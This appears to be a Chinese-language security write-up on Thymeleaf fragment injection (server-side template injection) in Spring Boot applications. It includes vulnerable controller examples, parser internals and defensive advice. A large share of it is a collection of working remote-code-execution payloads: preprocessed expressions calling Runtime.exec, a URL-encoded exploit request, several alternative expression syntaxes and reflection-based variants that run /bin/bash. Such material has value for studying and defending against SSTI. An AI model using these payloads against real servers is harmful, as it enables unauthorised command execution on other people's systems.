Thymeleaf Fragment 注入漏洞复现及新姿势扩展
字数 1246 2025-08-05 08:19:01
Thymeleaf Fragment 注入漏洞分析与利用
漏洞概述
Thymeleaf Fragment 注入漏洞是一种存在于 Spring Boot 应用中,当使用 Thymeleaf 模板引擎时可能存在的服务器端模板注入(SSTI)漏洞。该漏洞允许攻击者通过精心构造的请求参数执行任意 Java 代码,导致远程代码执行(RCE)。
漏洞环境配置
典型的漏洞环境配置如下:
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; // 模板路径被污染
}
或者更简单的配置:
@GetMapping("/path")
public String path(@RequestParam String lang) {
return lang; // 直接返回用户输入作为模板名称
}
漏洞利用原理
核心机制
- 预处理表达式:Thymeleaf 支持
__${expr}__形式的预处理表达式,会在模板渲染前先执行表达式 - Fragment 选择器:
::操作符用于选择模板中的特定片段(fragment) - 表达式执行:Thymeleaf 的表达式解析器会执行合法的表达式
关键点分析
- 预处理检查:
StandardExpressionPreprocessor会检查输入是否包含下划线_,有则进行预处理 - Fragment 解析:
ThymeleafView#renderFragment()检查是否包含::操作符,决定是否解析 Fragment - 表达式执行:
StandardExpressionParser解析并执行表达式
漏洞利用方式
基本Payload
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
URL编码后:
http://ip:port/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x
变种Payload
-
简化形式(不需要
.x):__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__:: -
只执行不返回结果:
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::
新注入点利用
利用 :: 后面的部分也可以执行表达式:
666::__${T(java.lang.Runtime).getRuntime().exec("touch 667")}__
其他表达式形式
当直接返回用户输入作为模板名称时,可以使用更多形式的表达式:
-
${expr} 形式:
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}::x -
${{expr}} 形式:
${{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}}::x -
*{expr} 形式:
*{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}::x -
*{{expr}} 形式:
*{{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}}::x
反射形式Payload
使用Java反射构造更隐蔽的Payload:
__${new java.util.Scanner(T(String).getClass().forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(T(String).getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(T(String).getClass().forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x
简化版:
__${new java.util.Scanner(Class.forName("java.lang.Runtime").getMethod("exec",T(String[])).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String[]{"/bin/bash","-c","id"}).getInputStream()).next()}__::x
漏洞防御措施
-
输入验证:对用户输入的模板名称进行严格验证
-
白名单机制:只允许特定的模板名称
-
避免直接拼接:不要直接将用户输入拼接到模板路径中
-
使用安全编码实践:
@GetMapping("/safe") public String safePath(@RequestParam String lang) { // 验证lang参数是否合法 if (!isValidTemplate(lang)) { return "error"; } return "user/" + lang + "/welcome"; } -
更新Thymeleaf版本:使用最新版本的Thymeleaf,虽然这不是版本问题而是使用方式问题
技术细节分析
处理流程
- 请求到达控制器,返回包含用户输入的模板路径
- ThymeleafView 检查模板名称是否包含
:: - 如果包含,则调用
renderFragment方法 StandardFragmentProcessor处理Fragment选择StandardExpressionPreprocessor预处理表达式StandardExpressionParser解析并执行表达式
关键代码片段
// 预处理检查
static String preprocess(final Configuration configuration,
final IProcessingContext processingContext,
final String input) {
if (input.indexOf(PREPROCESS_DELIMITER) == -1) {
return input;
}
// ...执行预处理...
}
// Fragment解析
final FragmentSelection fragmentSelection =
FragmentSelectionUtils.parseFragmentSelection(
configuration, processingContext, standardFragmentSpec);
总结
Thymeleaf Fragment 注入漏洞源于不安全的模板名称处理方式,通过精心构造的表达式可以实现远程代码执行。防御的关键在于正确处理用户输入,避免直接将用户输入作为模板路径的一部分。开发人员应遵循安全编码实践,对用户输入进行严格验证和过滤。